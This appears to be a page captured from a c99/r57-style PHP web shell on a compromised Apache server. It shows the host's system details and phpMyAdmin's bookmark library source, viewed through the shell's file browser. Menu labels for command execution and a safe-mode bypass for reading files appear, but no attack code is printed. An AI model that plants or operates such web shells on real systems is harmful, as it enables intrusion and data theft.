Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/phpMyAdmin/libraries/ drwxr-xr-x |
Viewing file: bookmark.lib.php (6.5 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | no bookmark table if ($server == 0) { return ''; } $cfgBookmark['user'] = $GLOBALS['cfg']['Server']['user']; $cfgBookmark['db'] = $GLOBALS['cfg']['Server']['pmadb']; $cfgBookmark['table'] = $GLOBALS['cfg']['Server']['bookmarktable']; return $cfgBookmark; } // end of the 'PMA_getBookmarksParam()' function /** * Gets the list of bookmarks defined for the current database * * @global resource the controluser db connection handle * * @param string the current database name * @param array the bookmark parameters for the current user * * @return mixed the bookmarks list if defined, false else * * @access public */ function PMA_listBookmarks($db, $cfgBookmark) { global $controllink; $query = 'SELECT label, id FROM '. PMA_backquote($cfgBookmark['db']) . '.' . PMA_backquote($cfgBookmark['table']) . ' WHERE dbase = \'' . PMA_sqlAddslashes($db) . '\'' . ' AND (user = \'' . PMA_sqlAddslashes($cfgBookmark['user']) . '\'' . ' OR user = \'\')' . ' ORDER BY label'; $result = PMA_DBI_query($query, $controllink, PMA_DBI_QUERY_STORE); // There are some bookmarks -> store them // use the unique id as the key if ($result && PMA_DBI_num_rows($result) > 0) { while ($row = PMA_DBI_fetch_row($result)) { $bookmark_list[$row[1]] = $row[0]; } // end while return $bookmark_list; } // No bookmarks for the current database else { return FALSE; } } // end of the 'PMA_listBookmarks()' function /** * Gets the sql command from a bookmark * * @global resource the controluser db connection handle * * @param string the current database name * @param array the bookmark parameters for the current user * @param mixed the id of the bookmark to get * @param string which field to look up the $id * @param boolean TRUE: get all bookmarks regardless of the owning user * * @return string the sql query * * @access public */ function PMA_queryBookmarks($db, $cfgBookmark, $id, $id_field = 'id', $action_bookmark_all = FALSE) { global $controllink; if (empty($cfgBookmark['db']) |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]-- |